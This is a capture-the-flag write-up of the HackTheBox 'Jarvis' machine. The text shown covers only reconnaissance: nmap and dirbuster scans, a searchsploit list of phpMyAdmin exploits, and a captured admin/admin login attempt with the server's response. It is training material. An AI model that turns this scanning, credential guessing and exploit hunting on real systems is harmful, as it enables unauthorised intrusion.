---
tags: write-up, hackthebox, machine
---
Write-up hackthebox::jarvis
====
# Long Version
We start with a quick nmap scan:
`$ nmap -sV -sS -T4 -v 10.10.10.143`
Result nmap:
```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
Interesting enough, nothing happens when you click on the Sign-in or Log-in link.
Let's try to use nmap for website enumeration:
```
root@Kali-XPS:~/Desktop/hackthebox/jarvis# nmap --script http-enum.nse 10.10.10.143
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-18 18:29 CEST
Nmap scan report for 10.10.10.143
Host is up (0.044s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
| http-enum:
| /phpmyadmin/: phpMyAdmin
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.25 (debian)'
| /images/: Potentially interesting directory w/ listing on 'apache/2.4.25 (debian)'
|_ /js/: Potentially interesting directory w/ listing on 'apache/2.4.25 (debian)'
8000/tcp open http-alt
```
There is one interesting vulnerabily that could be exploited (44496.html), but we need the DB name:
```
root@Kali-XPS:~/Desktop/hackthebox/jarvis# searchsploit phpmyadmin 4.8
--------------------------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------------------------------------------------------------------------------- ----------------------------------------
phpMyAdmin 4.8 - Cross-Site Request Forgery | exploits/php/webapps/46982.txt
phpMyAdmin 4.8.0 < 4.8.0-1 - Cross-Site Request Forgery | exploits/php/webapps/44496.html
phpMyAdmin 4.8.1 - (Authenticated) Local File Inclusion (1) | exploits/php/webapps/44924.txt
phpMyAdmin 4.8.1 - (Authenticated) Local File Inclusion (2) | exploits/php/webapps/44928.txt
phpMyAdmin 4.8.4 - 'AllowArbitraryServer' Arbitrary File Read | exploits/php/webapps/46041.py
--------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
```
Trying to log in `phpmyadmin`, we do this request:
```html=
POST /phpmyadmin/index.php HTTP/1.1
Host: 10.10.10.143
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 147
Cookie: phpMyAdmin=djj8j06a0aucd0pvh0jlc8e7df00vij2; pma_lang=en; PHPSESSID=tk3na04irpmib3ooeva0idupn4
Connection: close
Upgrade-Insecure-Requests: 1
set_session=djj8j06a0aucd0pvh0jlc8e7df00vij2&pma_username=admin&pma_password=admin&server=1&target=index.php&token=%7C_%2C-%2C%7EG%3CY%608JQ%7DJ%3D
```
And we get this response:
```
HTTP/1.1 200 OK
Date: Wed, 18 Sep 2019 16:52:30 GMT
Server: Apache/2.4.25 (Debian)
Set-Cookie: phpMyAdmin=p9sqojgrhafk6o0o55v4lm5lapk75e8m; path=/phpmyadmin/; HttpOnly
Expires: Wed, 18 Sep 2019 16:52:30 +0000
Cache-Control: no-store, no-cache, must-revalidate, pre-check=0, post-check=0, max-age=0
Last-Modified: Wed, 18 Sep 2019 16:52:30 +0000
Set-Cookie: phpMyAdmin=4t0terd1osfnmlfdu7vhf7kh8jpth766; path=/phpmyadmin/; HttpOnly
Set-Cookie: pmaAuth-1=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/phpmyadmin/
X-ob_mode: 1
Pragma: no-cache
X-Frame-Options: DENY
Referrer-Policy: no-referrer
Content-Security-Policy: default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval' ;style-src 'self' 'unsafe-inline' ;img-src 'self' data: *.tile.openstreetmap.org;object-src 'none';
X-Content-Security-Policy: default-src 'self' ;options inline-script eval-script;referrer no-referrer;img-src 'self' data: *.tile.openstreetmap.org;object-src 'none';
X-WebKit-CSP: default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval';referrer no-referrer;style-src 'self' 'unsafe-inline' ;img-src 'self' data: *.tile.openstreetmap.org;object-src 'none';
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Permitted-Cross-Domain-Policies: none
X-Robots-Tag: noindex, nofollow
Vary: Accept-Encoding
IronWAF: 2.0.3
Content-Length: 14345
Connection: close
Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML><html lang='en' dir='ltr'><head><meta charset="utf-8" /><meta name="referrer" content="no-referrer" /><meta name="robots" content="noindex,nofollow" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><style id="cfs-style">html{display: none;}</style><link rel="icon" href="favicon.ico" type="image/x-icon" /><link rel="shortcut icon" href="favicon.ico" type="image/x-icon" /><link rel="stylesheet" type="text/css" href="./themes/pmahomme/jquery/jquery-ui.css" /><link rel="stylesheet" type="text/css" href="js/vendor/codemirror/lib/codemirror.css?v=4.8.0" /><link rel="stylesheet" type="text/css" href="js/vendor/codemirror/addon/hint/show-hint.css?v=4.8.0" /><link rel="stylesheet" type="text/css" href="js/vendor/codemirror/addon/lint/lint.css?v=4.8.0" /><link rel="stylesheet" type="text/css" href="phpmyadmin.css.php?nocache=3046226179ltr&server=1" /><link rel="stylesheet" type="text/css" href="./themes/pmahomme/css/printview.css?v=4.8.0" media="print" id="printcss"/><title>phpMyAdmin</title><script data-cfasync="false" type="text/javascript" src="js/vendor/jquery/jquery.min.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/jquery/jquery-migrate.js?v=4.8.0"></script>
<script data-cfasync='false' type='text/javascript' src='js/whitelist.php?v=4.8.0'></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/sprintf.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/ajax.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/keyhandler.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/jquery/jquery-ui.min.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/js.cookie.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/jquery/jquery.mousewheel.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/jquery/jquery.event.drag-2.2.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/jquery/jquery.validate.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/jquery/jquery-ui-timepicker-addon.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/jquery/jquery.ba-hashchange-1.3.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/jquery/jquery.debounce-1.0.5.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/menu-resizer.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/cross_framing_protection.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/rte.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/tracekit.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/error_report.js?v=4.8.0"></script>
<script data-cfasync='false' type='text/javascript' src='js/messages.php?l=en&v=4.8.0'></script>
<script data-cfasync="false" type="text/javascript" src="js/config.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/doclinks.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/functions.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/navigation.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/indexes.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/common.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/page_settings.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/shortcuts_handler.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/codemirror/lib/codemirror.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/codemirror/mode/sql/sql.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/codemirror/addon/runmode/runmode.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/codemirror/addon/hint/show-hint.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/codemirror/addon/hint/sql-hint.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/codemirror/addon/lint/lint.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/codemirror/addon/lint/sql-lint.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript" src="js/console.js?v=4.8.0"></script>
<script data-cfasync="false" type="text/javascript">// <![CDATA[
PMA_commonParams.setAll({common_query:"",opendb_url:"db_structure.php",lang:"en",server:"1",table:"",db:"",token:")X9iHb?w1/kyUfF.",text_dir:"ltr",show_databases_navigation_as_tree:true,pma_text_default_tab:"Browse",pma_text_left_default_tab:"Structure",pma_text_left_default_tab2:false,LimitChars:"50",pftext:"",confirm:true,LoginCookieValidity:"1440",session_gc_maxlifetime:"1440",logged_in:false,is_https:false,rootPath:"/phpmyadmin/",arg_separator:"&",PMA_VERSION:"4.8.0",auth_type:"cookie",user:"admin"});
ConsoleEnterExecutes=false
AJAX.scriptHandler.add("vendor/jquery/jquery.min.js",0).add("vendor/jquery/jquery-migrate.js",0).add("whitelist.php",1).add("vendor/sprintf.js",1).add("ajax.js",0).add("keyhandler.js",1).add("vendor/jquery/jquery-ui.min.js",0).add("vendor/js.cookie.js",1).add("vendor/jquery/jquery.mousewheel.js",0).add("vendor/jquery/jquery.event.drag-2.2.js",0).add("vendor/jquery/jquery.validate.js",0).add("vendor/jquery/jquery-ui-timepicker-addon.js",0).add("vendor/jquery/jquery.ba-hashchange-1.3.js",0).add("vendor/jquery/jquery.debounce-1.0.5.js",0).add("menu-resizer.js",1).add("cross_framing_protection.js",0).add("rte.js",1).add("vendor/tracekit.js",1).add("error_report.js",1).add("messages.php",0).add("config.js",1).add("doclinks.js",1).add("functions.js",1).add("navigation.js",1).add("indexes.js",1).add("common.js",1).add("page_settings.js",1).add("shortcuts_handler.js",1).add("vendor/codemirror/lib/codemirror.js",0).add("vendor/codemirror/mode/sql/sql.js",0).add("vendor/codemirror/addon/runmode/runmode.js",0).add("vendor/codemirror/addon/hint/show-hint.js",0).add("vendor/codemirror/addon/hint/sql-hint.js",0).add("vendor/codemirror/addon/lint/lint.js",0).add("codemirror/addon/lint/sql-lint.js",0).add("console.js",1);
$(function() {AJAX.fireOnload("whitelist.php");AJAX.fireOnload("vendor/sprintf.js");AJAX.fireOnload("keyhandler.js");AJAX.fireOnload("vendor/js.cookie.js");AJAX.fireOnload("menu-resizer.js");AJAX.fireOnload("rte.js");AJAX.fireOnload("vendor/tracekit.js");AJAX.fireOnload("error_report.js");AJAX.fireOnload("config.js");AJAX.fireOnload("doclinks.js");AJAX.fireOnload("functions.js");AJAX.fireOnload("navigation.js");AJAX.fireOnload("indexes.js");AJAX.fireOnload("common.js");AJAX.fireOnload("page_settings.js");AJAX.fireOnload("shortcuts_handler.js");AJAX.fireOnload("console.js");});
// ]]></script><noscript><style>html{display:block}</style></noscript></head><body id='loginform'><div id="page_content"><div class="container">
<a href="./url.php?url=https%3A%2F%2Fwww.phpmyadmin.net%2F" target="_blank" rel="noopener noreferrer" class="logo">
<img src="./themes/pmahomme/img/logo_right.png" id="imLogo" name="imLogo" alt="phpMyAdmin" border="0" />
</a>
<h1>Welcome to <bdo dir="ltr" lang="en">phpMyAdmin</bdo></h1>
<noscript>
<div class="error"><img src="themes/dot.gif" title="" alt="" class="icon ic_s_error" /> Javascript must be enabled past this point!</div>
</noscript>
<div class="hide" id="js-https-mismatch">
<div class="error"><img src="themes/dot.gif" title="" alt="" class="icon ic_s_error" /> There is mismatch between HTTPS indicated on the server and client. This can lead to non working phpMyAdmin or a security risk. Please fix your server configuration to indicate HTTPS properly.</div>
</div>
<div class="error"><img src="themes/dot.gif" title="" alt="" class="icon ic_s_error" /> Cannot log in to the MySQL server</div><div class='hide js-show'> <form method="get" action="index.php" class="disableAjax">
<input type="hidden" name="db" value="" /><input type="hidden" name="table" value="" /><input type="hidden" name="token" value=")X9iHb?w1/kyUfF." />
<fieldset>
<legend lang="en" dir="ltr">Language</legend>
<select name="lang" class="autosubmit" lang="en" dir="ltr" id="sel-lang">
<option value="ar">
العربية - Arabic
</option>
<option value="hy">
Հայերէն - Armenian
</option>
<option value="az">
Azərbaycanca - Azerbaijani
</option>
<option value="bn">
à ¦¬à ¦¾à ¦‚à ¦²à ¦¾ - Bangla
</option>
<option value="be">
Беларуская - Belarusian
</option>
<option value="pt_br">
Português - Brazilian Portuguese
</option>
<option value="bg">
Български - Bulgarian
</option>
<option value="ca">
Català - Catalan
</option>
<option value="zh_cn">
中文 - Chinese simplified
</option>
<option value="zh_tw">
中文 - Chinese traditional
</option>
<option value="cs">
Čeština - Czech
</option>
<option value="da">
Dansk - Danish
</option>
<option value="nl">
Nederlands - Dutch
</option>
<option value="en" selected="selected">
English
</option>
<option value="en_gb">
English (United Kingdom)
</option>
<option value="et">
Eesti - Estonian
</option>
<option value="fi">
Suomi - Finnish
</option>
<option value="fr">
Français - French
</option>
<option value="gl">
Galego - Galician
</option>
<option value="de">
Deutsch - German
</option>
<option value="el">
Ελληνικά - Greek
</option>
<option value="hu">
Magyar - Hungarian
</option>
<option value="id">
Bahasa Indonesia - Indonesian
</option>
<option value="ia">
Interlingua
</option>
<option value="it">
Italiano - Italian
</option>
<option value="ja">
日本語 - Japanese
</option>
<option value="ko">
한국어 - Korean
</option>
<option value="nb">
Norsk - Norwegian
</option>
<option value="pl">
Polski - Polish
</option>
<option value="pt">
Português - Portuguese
</option>
<option value="ro">
Română - Romanian
</option>
<option value="ru">
Русский - Russian
</option>
<option value="sr@latin">
Srpski - Serbian (latin)
</option>
<option value="si">
සිංහල - Sinhala
</option>
<option value="sq">
Shqip - Slbanian
</option>
<option value="sk">
Slovenčina - Slovak
</option>
<option value="sl">
Slovenščina - Slovenian
</option>
<option value="es">
Español - Spanish
</option>
<option value="sv">
Svenska - Swedish
</option>
<option value="tr">
Türkçe - Turkish
</option>
<option value="uk">
Українська - Ukrainian
</option>
<option value="vi">
Tiếng Việt - Vietnamese
</option>
</select>
</fieldset>
</form>
</div>
<br />
<!-- Login form -->
<form method="post" id="login_form" action="index.php" name="login_form" autocomplete="off" class="disableAjax login hide js-show">
<fieldset>
<legend><input type="hidden" name="set_session" value="4t0terd1osfnmlfdu7vhf7kh8jpth766" />Log in<a href="./doc/html/index.html" target="documentation"><img src="themes/dot.gif" title="Documentation" alt="Documentation" class="icon ic_b_help" /></a></legend><div class="item">
<label for="input_username">Username:</label>
<input type="text" name="pma_username" id="input_username" value="" size="24" class="textfield"/>
</div>
<div class="item">
<label for="input_password">Password:</label>
<input type="password" name="pma_password" id="input_password" value="" size="24" class="textfield" />
</div> <input type="hidden" name="server" value="1" /></fieldset><fieldset class="tblFooters"><input value="Go" type="submit" id="input_go" /><input type="hidden" name="target" value="index.php" /><input type="hidden" name="token" value=")X9iHb?w1/kyUfF." /></fieldset>
</form><div id="pma_errors"><div class="error"><img src="themes/dot.gif" title="" alt="" class="icon ic_s_error" /> mysqli_real_connect(): (HY000/1045): Access denied for user 'admin'@'localhost' (using password: YES)</div></div></div>
</div></body></html>
```
Server info:
```
Apache/2.4.25 (Debian) Server at 10.10.10.143 Port 80
It runs phpmyadmin 4.8.0, with exposed directories. Examples are available at: http://10.10.10.143/phpmyadmin/examples/
```
Dirbuster scan results:
```
/
/images/
/js/
/icons/
/css/
/phpmyadmin/
/icons/small/
/phpmyadmin/doc/
/phpmyadmin/doc/html/
/phpmyadmin/doc/html/_images/
/phpmyadmin/doc/html/_sources/
/phpmyadmin/doc/html/_static/
/phpmyadmin/examples/
/phpmyadmin/js/
/phpmyadmin/libraries/
/phpmyadmin/libraries/certs/
/phpmyadmin/libraries/classes/
/phpmyadmin/libraries/dbi/
/phpmyadmin/libraries/rte/
/phpmyadmin/setup/
/phpmyadmin/sql/
/phpmyadmin/templates/
/phpmyadmin/themes/
/phpmyadmin/themes/original/
/phpmyadmin/themes/pmahomme/
/phpmyadmin/themes/original/css/
/phpmyadmin/themes/pmahomme/css/
/phpmyadmin/tmp/
/phpmyadmin/themes/pmahomme/jquery/
/phpmyadmin/themes/pmahomme/img/
/phpmyadmin/themes/original/img/
/phpmyadmin/themes/original/jquery/
/phpmyadmin/tmp/twig/
/phpmyadmin/themes/pmahomme/jquery/images/
/phpmyadmin/themes/original/jquery/images/
/phpmyadmin/tmp/twig/02/
/phpmyadmin/vendor/
/phpmyadmin/vendor/bacon/
/phpmyadmin/vendor/bin/
/phpmyadmin/vendor/bacon/bacon-qr-code/
/phpmyadmin/vendor/composer/
/phpmyadmin/vendor/google/
/phpmyadmin/vendor/paragonie/
/phpmyadmin/vendor/google/recaptcha/
/phpmyadmin/vendor/phpmyadmin/
/phpmyadmin/vendor/paragonie/constant_time_encoding/
/phpmyadmin/vendor/paragonie/random_compat/
/phpmyadmin/vendor/phpseclib/
/phpmyadmin/vendor/pragmarx/
/phpmyadmin/vendor/phpseclib/phpseclib/
/phpmyadmin/vendor/phpmyadmin/motranslator/
/phpmyadmin/vendor/psr/
/phpmyadmin/vendor/phpmyadmin/shapefile/
/phpmyadmin/vendor/pragmarx/google2fa/
/phpmyadmin/vendor/samyoul/
/phpmyadmin/vendor/psr/container/
/phpmyadmin/vendor/bacon/bacon-qr-code/src/
/phpmyadmin/vendor/phpmyadmin/sql-parser/
/phpmyadmin/vendor/symfony/
/phpmyadmin/vendor/paragonie/random_compat/dist/
/phpmyadmin/vendor/bacon/bacon-qr-code/tests/
/phpmyadmin/vendor/paragonie/random_compat/lib/
/phpmyadmin/vendor/paragonie/random_compat/other/
/phpmyadmin/vendor/tecnickcom/
/phpmyadmin/vendor/google/recaptcha/src/
/phpmyadmin/vendor/twig/
/phpmyadmin/vendor/phpseclib/phpseclib/phpseclib/
/phpmyadmin/vendor/samyoul/u2f-php-server/
/phpmyadmin/vendor/paragonie/constant_time_encoding/src/
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/
/phpmyadmin/vendor/symfony/expression-language/
/phpmyadmin/vendor/paragonie/constant_time_encoding/tests/
/phpmyadmin/vendor/symfony/polyfill-mbstring/
/phpmyadmin/vendor/symfony/polyfill-php56/
/phpmyadmin/vendor/bacon/bacon-qr-code/tests/BaconQrCode/
/phpmyadmin/vendor/pragmarx/google2fa/docs/
/phpmyadmin/vendor/psr/container/src/
/phpmyadmin/vendor/symfony/polyfill-util/
/phpmyadmin/vendor/google/recaptcha/src/ReCaptcha/
/phpmyadmin/vendor/tecnickcom/tcpdf/
/phpmyadmin/vendor/phpmyadmin/shapefile/src/
/phpmyadmin/vendor/pragmarx/google2fa/src/
/phpmyadmin/vendor/phpmyadmin/sql-parser/bin/
/phpmyadmin/vendor/phpmyadmin/motranslator/src/
/phpmyadmin/vendor/twig/extensions/
/phpmyadmin/vendor/phpseclib/phpseclib/phpseclib/Crypt/
/phpmyadmin/vendor/twig/twig/
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Common/
/phpmyadmin/vendor/pragmarx/google2fa/tests/
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Encoder/
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Exception/
/phpmyadmin/vendor/phpmyadmin/sql-parser/locale/
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/
/phpmyadmin/vendor/samyoul/u2f-php-server/src/
/phpmyadmin/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/
/phpmyadmin/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Encoder/
/phpmyadmin/vendor/symfony/polyfill-mbstring/Resources/
/phpmyadmin/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Renderer/
/phpmyadmin/vendor/symfony/expression-language/Node/
/phpmyadmin/vendor/google/recaptcha/src/ReCaptcha/RequestMethod/
/phpmyadmin/vendor/pragmarx/google2fa/src/Exceptions/
/phpmyadmin/vendor/tecnickcom/tcpdf/config/
/phpmyadmin/vendor/pragmarx/google2fa/src/Support/
/phpmyadmin/vendor/tecnickcom/tcpdf/fonts/
/phpmyadmin/vendor/symfony/expression-language/ParserCache/
/phpmyadmin/vendor/tecnickcom/tcpdf/include/
/phpmyadmin/vendor/twig/extensions/lib/
/phpmyadmin/vendor/twig/extensions/src/
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Color/
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Image/
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Components/
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Text/
/phpmyadmin/vendor/twig/twig/ext/
/phpmyadmin/vendor/symfony/polyfill-mbstring/Resources/unidata/
/phpmyadmin/vendor/twig/twig/lib/
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Contexts/
/phpmyadmin/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Renderer/Text/
/phpmyadmin/vendor/twig/twig/src/
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Exceptions/
/phpmyadmin/vendor/tecnickcom/tcpdf/fonts/dejavu-fonts-ttf-2.34/
/phpmyadmin/vendor/tecnickcom/tcpdf/include/barcodes/
/phpmyadmin/vendor/twig/extensions/lib/Twig/
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Statements/
/phpmyadmin/vendor/twig/twig/ext/twig/
/phpmyadmin/vendor/twig/extensions/src/Node/
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Image/Decorator/
/phpmyadmin/vendor/twig/extensions/src/TokenParser/
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Utils/
/phpmyadmin/vendor/twig/twig/lib/Twig/
/phpmyadmin/vendor/twig/twig/src/Cache/
/phpmyadmin/vendor/twig/extensions/lib/Twig/Extensions/
/phpmyadmin/vendor/twig/twig/src/Error/
/phpmyadmin/vendor/twig/extensions/lib/Twig/Extensions/Extension/
/phpmyadmin/vendor/twig/twig/src/Extension/
/phpmyadmin/vendor/twig/extensions/lib/Twig/Extensions/Grammar/
/phpmyadmin/vendor/twig/twig/src/Loader/
/phpmyadmin/vendor/twig/extensions/lib/Twig/Extensions/Node/
/phpmyadmin/vendor/twig/twig/src/Node/
/phpmyadmin/vendor/twig/extensions/lib/Twig/Extensions/TokenParser/
/phpmyadmin/vendor/twig/twig/src/NodeVisitor/
/phpmyadmin/vendor/twig/twig/src/Profiler/
/phpmyadmin/vendor/twig/twig/src/Profiler/Dumper/
/phpmyadmin/tmp/twig/aa/
/phpmyadmin/vendor/twig/twig/src/RuntimeLoader/
/phpmyadmin/vendor/twig/twig/src/Node/Expression/
/phpmyadmin/vendor/twig/twig/src/Profiler/Node/
/phpmyadmin/vendor/twig/twig/src/Profiler/NodeVisitor/
/phpmyadmin/vendor/twig/twig/src/Sandbox/
/phpmyadmin/vendor/twig/twig/src/Test/
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Binary/
/phpmyadmin/vendor/twig/twig/src/TokenParser/
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Filter/
/phpmyadmin/vendor/twig/twig/src/Util/
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Test/
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Unary/
/phpmyadmin/tmp/twig/ca/
/phpmyadmin/vendor/phpmyadmin/sql-parser/locale/ar/
/phpmyadmin/vendor/phpmyadmin/sql-parser/locale/ar/LC_MESSAGES/
/phpmyadmin/vendor/phpmyadmin/sql-parser/locale/bg/
/phpmyadmin/vendor/phpmyadmin/sql-parser/locale/bg/LC_MESSAGES/
/phpmyadmin/templates/components/
/phpmyadmin/templates/config/
/phpmyadmin/templates/config/form_display/
/phpmyadmin/vendor/phpmyadmin/sql-parser/locale/cs/
/phpmyadmin/vendor/phpmyadmin/sql-parser/locale/cs/LC_MESSAGES/
/phpmyadmin/templates/error/
/phpmyadmin/vendor/phpmyadmin/sql-parser/locale/de/
/phpmyadmin/vendor/phpmyadmin/sql-parser/locale/de/LC_MESSAGES/
/phpmyadmin/templates/export/
/phpmyadmin/vendor/phpmyadmin/sql-parser/locale/es/
/phpmyadmin/vendor/phpmyadmin/sql-parser/locale/es/LC_MESSAGES/
/index.php
/rooms-suites.php
/dining-bar.php
/room.php
/js/modernizr-2.6.2.min.js
/js/jquery.min.js
/js/jquery.easing.1.3.js
/js/bootstrap.min.js
/js/jquery.waypoints.min.js
/js/jquery.flexslider-min.js
/js/owl.carousel.min.js
/js/bootstrap-datepicker.js
/js/google_map.js
/js/jquery.magnific-popup.min.js
/js/magnific-popup-options.js
/js/main.js
/js/respond.min.js
/backdoor.php
/css/animate.css
/css/bootstrap-datepicker.css
/css/bootstrap.css
/css/bootstrap.css.map
/css/flexslider.css
/css/icomoon.css
/css/magnific-popup.css
/css/owl.carousel.min.css
/css/owl.theme.default.min.css
/css/style.css
/css/style.css.map
/footer.php
/nav.php
/phpmyadmin/ajax.php
/phpmyadmin/changelog.php
/phpmyadmin/doc/html/bookmarks.html
/phpmyadmin/doc/html/charts.html
/phpmyadmin/doc/html/copyright.html
/phpmyadmin/doc/html/config.html
/phpmyadmin/doc/html/_sources/bookmarks.txt
/phpmyadmin/doc/html/credits.html
/phpmyadmin/doc/html/_static/basic.css
/phpmyadmin/doc/html/_sources/charts.txt
/phpmyadmin/doc/html/developers.html
/phpmyadmin/doc/html/_static/classic.css
/phpmyadmin/doc/html/privileges.html
/phpmyadmin/doc/html/_static/default.css
/phpmyadmin/doc/html/genindex.html
/phpmyadmin/doc/html/_sources/config.txt
/phpmyadmin/doc/html/_sources/copyright.txt
/phpmyadmin/doc/html/faq.html
/phpmyadmin/doc/html/vendors.html
/phpmyadmin/doc/html/transformations.html
/phpmyadmin/doc/html/glossary.html
/phpmyadmin/doc/html/import_export.html
/phpmyadmin/doc/html/_static/doctools.js
/phpmyadmin/doc/html/_sources/credits.txt
/phpmyadmin/doc/html/index.html
/phpmyadmin/doc/html/relations.html
/phpmyadmin/doc/html/user.html
/phpmyadmin/doc/html/intro.html
/phpmyadmin/doc/html/search.html
/phpmyadmin/doc/html/_static/pygments.css
/phpmyadmin/doc/html/other.html
/phpmyadmin/doc/html/_sources/developers.txt
/phpmyadmin/doc/html/_static/underscore.js
/phpmyadmin/doc/html/setup.html
/phpmyadmin/doc/html/require.html
/phpmyadmin/doc/html/_static/searchtools.js
/phpmyadmin/doc/html/security.html
/phpmyadmin/doc/html/_static/sidebar.js
/phpmyadmin/doc/html/_static/jquery.js
/phpmyadmin/doc/html/_sources/glossary.txt
/phpmyadmin/doc/html/_sources/faq.txt
/phpmyadmin/doc/html/searchindex.js
/phpmyadmin/doc/html/_sources/privileges.txt
/phpmyadmin/doc/html/settings.html
/phpmyadmin/doc/html/_static/websupport.js
/phpmyadmin/doc/html/_sources/import_export.txt
/phpmyadmin/doc/html/themes.html
/phpmyadmin/doc/html/two_factor.html
/phpmyadmin/doc/html/_sources/vendors.txt
/phpmyadmin/doc/html/_sources/transformations.txt
/phpmyadmin/doc/html/_sources/index.txt
/phpmyadmin/doc/html/_sources/intro.txt
/phpmyadmin/doc/html/_sources/other.txt
/phpmyadmin/doc/html/_sources/relations.txt
/phpmyadmin/doc/html/_sources/require.txt
/phpmyadmin/doc/html/_sources/security.txt
/phpmyadmin/doc/html/_sources/user.txt
/phpmyadmin/doc/html/_sources/settings.txt
/phpmyadmin/doc/html/_sources/setup.txt
/phpmyadmin/doc/html/_sources/themes.txt
/phpmyadmin/doc/html/_sources/two_factor.txt
/phpmyadmin/examples/config.manyhosts.inc.php
/phpmyadmin/examples/openid.php
/phpmyadmin/examples/signon-script.php
/phpmyadmin/examples/signon.php
/phpmyadmin/export.php
/phpmyadmin/import.php
/phpmyadmin/index.php
/phpmyadmin/libraries/advisory_rules.txt
/phpmyadmin/libraries/check_user_privileges.inc.php
/phpmyadmin/libraries/common.inc.php
/phpmyadmin/libraries/config.default.php
/phpmyadmin/libraries/certs/2e5ac55d.0
/phpmyadmin/libraries/certs/12d55845.0
/phpmyadmin/libraries/config.values.php
/phpmyadmin/libraries/certs/4042bcee.0
/phpmyadmin/libraries/db_common.inc.php
/phpmyadmin/libraries/certs/6187b673.0
/phpmyadmin/libraries/db_table_exists.inc.php
/phpmyadmin/libraries/certs/README.rst
/phpmyadmin/libraries/certs/cacert.pem
/phpmyadmin/libraries/error.inc.php
/phpmyadmin/libraries/hash.lib.php
/phpmyadmin/libraries/information_schema_relations.inc.php
/phpmyadmin/libraries/dbi/dbi_dummy.inc.php
/phpmyadmin/libraries/language_stats.inc.php
/phpmyadmin/libraries/mult_submits.inc.php
/phpmyadmin/libraries/mysql_relations.inc.php
/phpmyadmin/libraries/replication.inc.php
/phpmyadmin/libraries/server_common.inc.php
/phpmyadmin/libraries/special_schema_links.inc.php
/phpmyadmin/libraries/tbl_columns_definition_form.inc.php
/phpmyadmin/license.php
/phpmyadmin/libraries/rte/rte_main.inc.php
/phpmyadmin/libraries/tbl_common.inc.php
